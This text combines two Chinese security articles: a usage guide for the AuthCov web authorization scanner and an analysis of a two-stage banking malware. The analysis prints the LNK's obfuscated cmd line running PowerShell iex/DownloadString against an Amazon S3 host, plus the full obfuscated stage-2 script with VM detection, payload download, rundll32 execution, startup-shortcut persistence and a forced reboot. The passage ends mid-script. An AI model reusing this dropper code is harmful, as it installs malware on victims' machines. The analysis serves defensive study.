介绍

AuthCov是一款用于Web应用扫描工具,AuthCov使用Chrome浏览器拦截并记录API请求以及在加载阶段的页面。然后,它以不同的帐户登录,并尝试访问先前发现的每个API请求或页面。重复此步骤。最后,它会生成一份详细的报告,列出发现的资源以及入侵者用户是否可以访问这些资源。

特点

1.适用于单页应用程序和传统的多页应用程序

2.处理基于令牌和基于cookie的身份验证机制

3.生成HTML格式的报告

4.可以在报告中查看爬取的每个页面的截图

安装

安装node 10. 然后运行:

$ npm install -g authcov

用法

为您要扫描的站点生成一个配置:

$ authcov new myconfig.js

更新myconfig.js中的值

通过运行此命令来测试您的配置值,确保浏览器可以登录。

$ authcov test-login myconfig.js --headless=false

抓取网站:

$ authcov crawl myconfig.js

尝试在爬取阶段发现资源:

$ authcov intrude myconfig.js

在以下位置查看生成的报告: ./tmp/report/index.html

配置

可以在配置文件中设置以下选项:

选项 类型 描述
baseUrl 网站的URL。这就是爬虫的起点。
crawlUser 对象 用户在其下爬行网站。例:{“username”: “admin”, “password”: “1234″}
intruders 数组 将爬取发现的api端点和页面的用户。通常,这些用户将具有与crawlUser相同的特权。要以未登录用户身份入侵,请添加用户名“ Public”和密码为空的用户。例:[{"username": "john", "password": "4321"}, {"username": "Public", "password": null}]
type 这是单页应用程序(即查询API后端的javascript前端)还是更“传统”的多页应用程序。(选择”mpa”或”spa”)。
authenticationType 该网站是否使用浏览器发送的cookie或请求标头中发送的令牌对用户进行身份验证,对于MPA,将其设置为”cookie”。在SPA中,可以是”cookie”或”token”。
authorisationHeaders 数组 为了验证用户,需要发送哪些请求标头,如果authenticationType = cookie,则应将其设置为["cookie"]。如果authenticationType = token,则:["X-Auth-Token"]。
maxDepth 整数 爬取的最大深度。建议从1开始。
verboseOutput 布尔值 详细输出,对于调试很有用。
saveResponses 布尔值 保存来自API的响应正文,以便您可以在报告中查看它们。
saveScreenshots 布尔值 保存已抓取页面的浏览器屏幕截图,以便您可以在报告中查看它们。
clickButtons 布尔值 (实验功能)在每个页面上进行了爬取,单击该页面上的所有按钮并记录所有发出的API请求。在通过模式,弹出窗口等具有大量用户互动的网站上非常有用。
xhrTimeout 整数 搜寻每个页面时等待XHR请求完成的时间。(秒)
pageTimeout 整数 爬取时等待页面加载的时间。(秒)
headless 布尔值 将此值设置为false可使爬虫程序打开chrome浏览器,以便您可以实时查看抓取过程。
unAuthorizedStatusCodes 数组 HTTP响应状态代码,用于决定是否向请求它的用户授权API端点或页面。(可选)定义一个函数responseIsAuthorised来确定请求是否被授权。例:[401, 403, 404]
ignoreLinksIncluding 数组 排除此数组中包含任何字符串的URL。例如,如果设置为,["/logout"]则不会抓取URL:http://localhost:3000/logout。(可选)在下面定义一个函数ignoreLink(url),以确定是否应爬网URL。
ignoreAPIrequestsIncluding 数组 排除包含此数组中任何字符串的URL进行的API记录。(可选)定义一个函数ignoreApiRequest(url)以确定是否应记录请求。
ignoreButtonsIncluding 数组 如果clickButtons设置为true,则不要单击外部HTML包含此数组中任何字符串的按钮。(可选)在下面定义一个函数ignoreButton(url)。
loginConfig 宾语 配置浏览器如何登录到您的Web应用程序。(可选)定义一个异步函数loginFunction(页面,用户名,密码)
cookiesTriggeringPage (可选)当authenticationType = cookie时,这将设置一个页面,以便入侵者浏览到此页面,然后从浏览器捕获cookie。如果站点在cookie上设置路径字段,这将很有用。默认为options.baseUrl。
tokenTriggeringPage (可选)当authenticationType = token时,将设置一个页面,以便入侵者浏览到此页面,然后从拦截的API请求中捕获authorisationHeader。如果站点的baseUrl没有发出任何API请求,因此无法捕获该页面的auth标头,则此方法很有用。默认为options.baseUrl。

配置登录

有两种方法可以在配置文件中配置登录名:

使用默认的登录机制,该机制使用puppeteer将用户名和密码输入到指定的输入中,然后单击指定的提交按钮。可以通过这样loginConfig在配置文件中设置选项进行配置。也请参见此示例

"loginConfig": {
  "url": "http://localhost/login",
  "usernameXpath": "input[name=email]",
  "passwordXpath": "input[name=password]",
  "submitXpath": "#login-button"
}

如果您的登录表单更复杂并且涉及更多的用户交互,那么您可以在配置文件中定义自己的puppeteer函数,如下所示。也请参见此示例

 "loginFunction": async function(page, username, password){
    await page.goto('http://localhost:3001/users/sign_in');
    await page.waitForSelector('input[type=email]');
    await page.waitForSelector('input[type=password]');
    await page.type('input[type=email]', username);
    await page.type('input[type=password]', password);
    await page.tap('input[type=submit]');
    await page.waitFor(500);
    return;
  }

authcov test-login为了使浏览器成功登录,请不要在头部模式下运行该命令。

贡献

单元测试:

$ npm test test/unit

集成测试:

首先下载并运行示例应用程序。然后运行测试:

$ npm test test/integration

*参考来源:github,FB小编周大涛编译,转载请注明来自FreeBuf.COM

在本文中,将分析一款银行恶意软件,分为两个阶段。第一阶段是Windows快捷方式文件(LNK文件),第二阶段为Powershell脚本(已被ISESteriods混淆)。

其中的样本包括所有删除的文件,都可以在此处下载。哈希值如下,感兴趣的小伙伴可以下载下来玩下!

MD5:907dbc3048f75bb577ff9c064f860fc5
SHA-1:667b8fa87c31f7afa9a7b32c3d88f365a2eeab9c
SHA-256:78a14c6663bd9235b014b6d7b7ce19487f163317fdd36bb111d8797d7a7f1724

阶段1 –LNK

快捷方式一般目的是调用cmd.exe去执行命令,比如如下面示例。

C:\Windows\system32\cmd.exe /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com&& echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/

参数

参数/ V和/ C一般结合使用。然后使用/?标志来显示帮助信息。下面是执行此操作的完整命令。

cmd.exe /?

请注意,多个命令由命令分隔符“&&”分隔。

变量

变量在百分号之间拆分,并使用两个“&”号将多个命令连接在一起。关键字set用于声明变量并为其设置值。下面,对命令进行了拆分,以便每个命令都在新行上。

set x4OAGWfxlES02z6NnUkK=2whttpr0
&&
set L1U03HmUO6B9IcurCNNlo4=.com
&&
echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/

前两个变量(x4OAGWfxlES02z6NnUkK和L1U03HmUO6B9IcurCNNlo4)用于在最后一行进行拼接,最终的url如下所示

https://get.adobe.com/br/flashplayer/

调用默认的浏览器打开Adobe Flash Player官方网站。

完整的快捷方式

十六进制编辑器的结果如下。

C:\Windows\system32\cmd.exe /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com&& echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/                                                                                                                      &&set aZM4j3ZhPLBn9MpuxaO= -win 1 &&set MlyavWfE=ndows&&set jA8Axao1xcZ=iEx&&set WMkgA3uXa1pXx=tRi&&set KNhGmAqHG5=bJe&&set 4kxhaz6bqqKC=LOad&&set rwZCnSC7T=nop&&set jcCvC=NEw&&set ZTVZ=wEbc&&set DABThzRuTT2hYjVOy=nt).dow&&set cwdOsPOdA08SZaXVp1eFR=t NeT.&&set Rb=Ers&&set j4HfRAqYXcRZ3R=hEll&&set Kpl01SsXY5tthb1=.bmp&&set vh7q6Aq0zZVLclPm=\v1.0\&&set 2Mh=pOw&&set 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%&&@echo off && %SystemDrive% && cd\ && cd %SystemRoot%\System32 &&echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! --%ProgramFiles%\Internet Explorer\iexplore.exe

当所有命令都在一行中时,上面的命令很难阅读。我们来重新调一下

x4OAGWfxlES02z6NnUkK=2whttpr0
L1U03HmUO6B9IcurCNNlo4=.com
%x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/
aZM4j3ZhPLBn9MpuxaO= -win 1
MlyavWfE=ndows
jA8Axao1xcZ=iEx
WMkgA3uXa1pXx=tRi
KNhGmAqHG5=bJe
4kxhaz6bqqKC=LOad
rwZCnSC7T=nop
jcCvC=NEw
ZTVZ=wEbc
DABThzRuTT2hYjVOy=nt).dow
cwdOsPOdA08SZaXVp1eFR=t NeT.
Rb=Ers
j4HfRAqYXcRZ3R=hEll
Kpl01SsXY5tthb1=.bmp
vh7q6Aq0zZVLclPm=\v1.0\
2Mh=pOw
8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%
@echo off
%SystemDrive%
cd\
cd %SystemRoot%\System32
echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! --%ProgramFiles%\Internet Explorer\iexplore.exe

将上面的命令提取一下,大概命令如下。

echo iEx(iEx(NEw-obJect NeT.wEbcLient).downLOadStRiNG('https://s3-eu-west-1.amazonaws.com/juremasobra2/jureklarj934t9oi4.bmp')"); | WindowspOwErshEll\v1.0\pOwErshEll -nop -win 1 --%ProgramFiles%\Internet Explorer\iexplore.exe

根据Microsoft文档中的提示,iex代表Invoke-Expression,也就是执行的意思,这串代码的意思就是从Amazon AWS服务器下载位图(.BMP),然后使用Powershell打开它。参数-nop。不使用任何配置文件,其次,参数-win 1,值1代表隐藏窗口。

第二阶段– ISES

我们提取出bmp图片里面的Powershell脚本。完整的脚本如下。

${____/===\/=====\/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcABzADoALwAvAHMAMwAtAGUAdQAtAHcAZQBzAHQALQAxA**AYQBtAGEAegBvAG4AYQB3AHMALgBjAG8AbQAvAGoAdQByAGUAbQBhAHMAbwBiAHIAYQAyAC8AaQBtAGEAZwBlADIALgBwAG4AZwA===')))
_.dll = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XwAuAGQAbABsAA==')))
_.prx = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XwAuAHAAcgB4AA==')))
MaxNotify   = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBhAHgATgBvAHQAaQBmAHkA')))
 
function _/=\/\/===\/==\___
{
  ${_/\___/=\_/\/\__/} = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model
  if (${_/\___/=\_/\/\__/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBpAHIAdAB1AGEAbABCAG8AeAA='))) -or
    ${_/\___/=\_/\/\__/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBNAHcAYQByAGUAIABWAGkAcgB0AHUAYQBsACAAUABsAGEAdABmAG8AcgBtAA=='))) -or
    ${_/\___/=\_/\/\__/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBpAHIAdAB1AGEAbAAgAE0AYQBjAGgAaQBuAGUA'))) -or
  ${_/\___/=\_/\/\__/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABWAE0AIABkAG8AbQBVAA=='))))
  {
    return "Y"
  }
  else
  { 
    return "N"
  }
}
function ____/\__/===\_/=\/
{
  try
  {
    ${___/\_/=\_/=\_/\/} = Get-Random -Minimum 1 -Maximum 9
    ${_/\/\_/\/\_/=\/\/} = ""
    For (${/==\/\___/\_/\/==}=0; ${/==\/\___/\_/\/==} -le ${___/\_/=\_/=\_/\/}; ${/==\/\___/\_/\/==}++) 
    {
      qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM  = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cQB3AGUAcgB0AHkAdQBpAG8AcABsAGsAagBoAGcAZgBkAHMAYQB6AHgAYwB2AGIAbgBtAFE**wBFAFI**ABZAFUASQBPAFAAQQBTAEQARgBHAEgASgBLAEwAWgBYAEM**gBCAE4ATQA=')))
      nomeRandomico_getrandom  = Get-Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length
      caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring(nomeRandomico_getrandom,1)
      ${_/\/\_/\/\_/=\/\/} = ${_/\/\_/\/\_/=\/\/}+caractereRandomico   
    }
    return ${_/\/\_/\/\_/=\/\/} 
  }
  finally{}
}
function __/====\___/=\_/\_(${___/\/\_/\_/=\__/\}, ${___/==\/=\/=\____/})
{ 
    ${/=\_/\/====\/\_/\} = New-Object $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBVAHIAaQA='))) $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwBfAC8AXAAvAFwAXwAvAFwAXwAvAD0AXABfAF8ALwBcAH0A'))) 
    ${/=\/===\_/\/\_/\_} = [System.Net.HttpWebRequest]::Create(${/=\_/\/====\/\_/\}) 
    ${/=\/===\_/\/\_/\_}.set_Timeout(15000) 
    ${/=\/====\__/==\__} = ${/=\/===\_/\/\_/\_}.GetResponse() 
    ${/=\_/==\__/\__/\_} = [System.Math]::Floor(${/=\/====\__/==\__}.get_ContentLength()/1024) 
    ${_/===\/=\_/=\___/} = ${/=\/====\__/==\__}.GetResponseStream() 
    ${__/====\__/\/\__/} = New-Object -TypeName System.IO.FileStream -ArgumentList ${___/==\/=\/=\____/}, Create 
    ${/=\/=\/==\_/\/=\_} = new-object byte[] 10KB 
    ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) 
    ${/==\_/===\/\/=\/\} = ${_/===\_/=\/\/===\} 
    while (${_/===\_/=\/\/===\} -gt 0) 
    { 
        ${__/====\__/\/\__/}.Write(${/=\/=\/==\_/\/=\_}, 0, ${_/===\_/=\/\/===\}) 
        ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) 
        ${/==\_/===\/\/=\/\} = ${/==\_/===\/\/=\/\} + ${_/===\_/=\/\/===\} 
    } 
    ${__/====\__/\/\__/}.Flush()
    ${__/====\__/\/\__/}.Close() 
    ${__/====\__/\/\__/}.Dispose() 
    ${_/===\/=\_/=\___/}.Dispose() 
    return "Y"
} 
function _____/==\_/=\_/===
{
  Param([string]${_/=====\/==\/\___/},[string]${___/\____/\_/=\/\_});
  try{  
    ${_/\/=\/\/===\/\/\} = New-Object -ComObject WScript.Shell 
    ${/=\/=\/\/=\_/=\__} = ${_/\/=\/\/===\/\/\}.CreateShortcut(${_/=====\/==\/\___/}) 
    ${/=\/=\/\/=\_/=\__}.TargetPath = 'powershell'
    ${/=\/=\/\/=\_/=\__}.Arguments = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwBfAC8AXABfAF8AXwBfAC8AXABfAC8APQBcAC8AXABfAH0A')))
    ${/=\/=\/\/=\_/=\__}.WorkingDirectory = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBTAHkAcwB0AGUAbQBSAG8AbwB0ACUAXABTAHkAcwB0AGUAbQAzADIA'))) 
    ${/=\/=\/\/=\_/=\__}.WindowStyle = 7   
    ${/=\/=\/\/=\_/=\__}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlA**AZQB4AGUALAAxAA==')))
    ${/=\/=\/\/=\_/=\__}.Save()
  }finally{}
}
function _/=\/\_/\/===\_/==
{
  try
  {
    ${_/======\_/\/=\/\} = New-Object System.Threading.Mutex($false, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('NAA0ADQANAA0ADQANAA0ADQANAA0ADQA'))))
    return ${_/======\_/\/=\/\}.WaitOne()  
  }finally{}
}
  if (_/=\/\/===\/==\___ -eq "N")
  {
  if (_/=\/\_/\/===\_/==)  {
     stop-process -name wmplayer 
    ${___/\/===\____/\/} = ${env:APPDATA}+"\"
    ${/=\______/=\/==\/} = ____/\__/===\_/=\/
    ${/===\/=\/\_/=\/==} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB0AHgAdAA=')))
    ${_/=\/===\/\___/\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB2AGIAcwA=')))
    ${/=\/==\__/\_/\__/}  = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${/===\/=\/\_/=\/==}
    ${/=\__/=\___/===\_}  = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${_/=\/===\/\___/\_} 
    sleep -s 1
        ${/===\/\_/====\/=\}  = $false
        while(${/===\/\_/====\/=\} -ne $true)
        {
        __/====\___/=\_/\_ ${____/===\/=====\/} ${/=\/==\__/\_/\__/}; sleep -s 1 
        if ((gi ${/=\/==\__/\_/\__/}).length -gt 2048kb)
         {
           ${/===\/\_/====\/=\}  = $true                                                          
           ${_/=\_/==\/=\__/\_} =  "Y" 
          } 
          else 
           {                     
            ${_/=\_/==\/=\__/\_} = "N"
           }
        Write-Host ${/===\/\_/====\/=\}
        }  
       ${_/=\_/==\/=\__/\_} =  "Y" 
        if (${_/=\_/==\/=\__/\_} -eq "Y")
          {
          ${/===\__/\/==\_/==} = ${___/\/===\____/\/}+${/=\______/=\/==\/} +$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB6AGkAcAA=')))
           ren -Path $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AC8APQBcAC8APQA9AFwAXwBfAC8AXABfAC8AXABfAF8ALwB9AA=='))) -NewName $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AC8APQA9AD0AXABfAF8ALwBcAC8APQA9AFwAXwAvAD0APQB9AA==')));
          ${/=\_/=\_/===\___/} = New-Object -ComObject shell.application
          ${_/\___/\_/======\} = ${/=\_/=\_/===\___/}.NameSpace(${/===\__/\/==\_/==})               
            foreach (${_/====\/\_/\/\__/} in ${_/\___/\_/======\}.items()) 
             {
                ${/=\_/=\_/===\___/}.Namespace(${___/\/===\____/\/}).CopyHere(${_/====\/\_/\/\__/})
             }
          sleep -s 3 
          ${_/\_/=\_/=\_/\___} = ____/\__/===\_/=\/
          ${/=\_/===\/\_/===\} = ${_/\_/=\_/=\_/\___} + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBwAHIAeAA='))) 
          ${_/\_/=\_/=\_/\___} = ${_/\_/=\_/=\_/\___} +$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBkAGwAbAA='))) 
          ren -Path $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwAvAFwALwBcAF8ALwBcAF8ALwA9AFwALwA9AD0APQA9AH0A'))) -NewName $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwAvAFwAXwAvAD0AXABfAC8APQBcAF8ALwBcAF8AXwBfAH0A'))); 
          ren -Path $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwAvAFwAXwBfAF8AXwAvAD0AXAAvAFwAXwAvAD0APQA9AH0A'))) -NewName $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsALwA9AFwAXwAvAD0APQA9AFwALwBcAF8ALwA9AD0APQBcAH0A')));  
          sleep -s 3 
          cd $env:APPDATA ; 
          shellObjeto = New-Object -Com WScript.Shell
          ${_/=\/\/\/=\__/\/=} = shellObjeto.SpecialFolders.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAcgB0AHUAcAA='))));          
          del ${_/=\/\/\/=\__/\/=}\*.vbs
          del ${_/=\/\/\/=\__/\/=}\*.lnk
          ${/=\______/\_/\_/=} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBkACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAByAHUAbgBkAGwAbAAzADIALgBlAHgAZQAgACQAewBfAC8AXABfAC8APQBcAF8ALwA9AFwAXwAvAFwAXwBfAF8AfQAsACAAJAB7AF8AXwBfAC8APQBcAC8AXAAvAFwAXwBfAF8AXwBfAC8APQB9AA==')))
          ${___/=\/==\/\_____} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8ALwA9AFwALwBcAC8AXAAvAD0AXABfAF8ALwBcAC8APQB9AFwAJAB7AC8APQBcAF8ALwA9AD0APQBcAC8AXABfAC8APQA9AD0AXAB9A**AbABuAGsA')))          
          _____/==\_/=\_/=== ${___/=\/==\/\_____}  ${/=\______/\_/\_/=}
          sleep -s 40
Restart-Computer -Force
        }
    }
  }

代码中各种花里胡巧的混淆。函数和变量名什么的都被混淆了,代码中的字符串也使用base64编码方案进行了编码。

这样肯定是读不了的,要想办法还原回去,下面给出了替换字符串的代码。

${____/===\/=====\/} = $('https://s3-eu-west-1.amazonaws.com/juremasobra2/image2.png')
_.dll = $('_.dll')
_.prx = $('_.prx')
MaxNotify   = $('MaxNotify')
 
function _/=\/\/===\/==\___
{
  ${_/\___/=\_/\/\__/} = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model
  if (${_/\___/=\_/\/\__/} -eq $('VirtualBox') -or
    ${_/\___/=\_/\/\__/} -eq $('VMware Virtual Platform') -or
    ${_/\___/=\_/\/\__/} -eq $('Virtual Machine') -or
  ${_/\___/=\_/\/\__/} -eq $('HVM domU')
  {
    return "Y"
  }
  else
  { 
    return "N"
  }
}
function ____/\__/===\_/=\/
{
  try
  {
    ${___/\_/=\_/=\_/\/} = Get-Random -Minimum 1 -Maximum 9
    ${_/\/\_/\/\_/=\/\/} = ""
    For (${/==\/\___/\_/\/==}=0; ${/==\/\___/\_/\/==} -le ${___/\_/=\_/=\_/\/}; ${/==\/\___/\_/\/==}++) 
    {
      qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM  = $('qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM')
      nomeRandomico_getrandom  = Get-Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length
      caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring(nomeRandomico_getrandom,1)
      ${_/\/\_/\/\_/=\/\/} = ${_/\/\_/\/\_/=\/\/}+caractereRandomico   
    }
    return ${_/\/\_/\/\_/=\/\/} 
  }
  finally{}
}
function __/====\___/=\_/\_(${___/\/\_/\_/=\__/\}, ${___/==\/=\/=\____/})
{
    ${/=\_/\/====\/\_/\} = New-Object $('System.uri') $ExecutionContext.InvokeCommand.ExpandString($S{___/\/\_/\_/=\__/\}) 
    ${/=\/===\_/\/\_/\_} = [System.Net.HttpWebRequest]::Create(${/=\_/\/====\/\_/\}) 
    ${/=\/===\_/\/\_/\_}.set_Timeout(15000) 
    ${/=\/====\__/==\__} = ${/=\/===\_/\/\_/\_}.GetResponse() 
    ${/=\_/==\__/\__/\_} = [System.Math]::Floor(${/=\/====\__/==\__}.get_ContentLength()/1024) 
    ${_/===\/=\_/=\___/} = ${/=\/====\__/==\__}.GetResponseStream() 
    ${__/====\__/\/\__/} = New-Object -TypeName System.IO.FileStream -ArgumentList ${___/==\/=\/=\____/}, Create 
    ${/=\/=\/==\_/\/=\_} = new-object byte[] 10KB 
    ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) 
    ${/==\_/===\/\/=\/\} = ${_/===\_/=\/\/===\} 
    while (${_/===\_/=\/\/===\} -gt 0) 
    { 
        ${__/====\__/\/\__/}.Write(${/=\/=\/==\_/\/=\_}, 0, ${_/===\_/=\/\/===\}) 
        ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) 
        ${/==\_/===\/\/=\/\} = ${/==\_/===\/\/=\/\} + ${_/===\_/=\/\/===\} 
    } 
    ${__/====\__/\/\__/}.Flush()
    ${__/====\__/\/\__/}.Close() 
    ${__/====\__/\/\__/}.Dispose() 
    ${_/===\/=\_/=\___/}.Dispose() 
    return "Y"
} 
function _____/==\_/=\_/===
{
  Param([string]${_/=====\/==\/\___/},[string]${___/\____/\_/=\/\_});
  try{  
    ${_/\/=\/\/===\/\/\} = New-Object -ComObject WScript.Shell 
    ${/=\/=\/\/=\_/=\__} = ${_/\/=\/\/===\/\/\}.CreateShortcut(${_/=====\/==\/\___/}) 
    ${/=\/=\/\/=\_/=\__}.TargetPath = 'powershell'
    ${/=\/=\/\/=\_/=\__}.Arguments = $ExecutionContext.InvokeCommand.ExpandString('$S{___/\/\_/\_/=\__/\}')
    ${/=\/=\/\/=\_/=\__}.WorkingDirectory = $('%SystemRoot%\System32')
    ${/=\/=\/\/=\_/=\__}.WindowStyle = 7   
    ${/=\/=\/\/=\_/=\__}.IconLocation = $('%ProgramFiles%\Internet Explorer\iexplore.exe,1')
    ${/=\/=\/\/=\_/=\__}.Save()
  }finally{}
}
function _/=\/\_/\/===\_/==
{
  try
  {
    ${_/======\_/\/=\/\} = New-Object System.Threading.Mutex($false, $('444444444444'))
    return ${_/======\_/\/=\/\}.WaitOne()  
  }finally{}
}
  if (_/=\/\/===\/==\___ -eq "N")
  {
  if (_/=\/\_/\/===\_/==)  {
     stop-process -name wmplayer 
    ${___/\/===\____/\/} = ${env:APPDATA}+"\"
    ${/=\______/=\/==\/} = ____/\__/===\_/=\/
    ${/===\/=\/\_/=\/==} = $('.txt')
    ${_/=\/===\/\___/\_} = $('.vbs')
    ${/=\/==\__/\_/\__/}  = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${/===\/=\/\_/=\/==}
    ${/=\__/=\___/===\_}  = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${_/=\/===\/\___/\_} 
    sleep -s 1
        ${/===\/\_/====\/=\}  = $false
        while(${/===\/\_/====\/=\} -ne $true)
        {
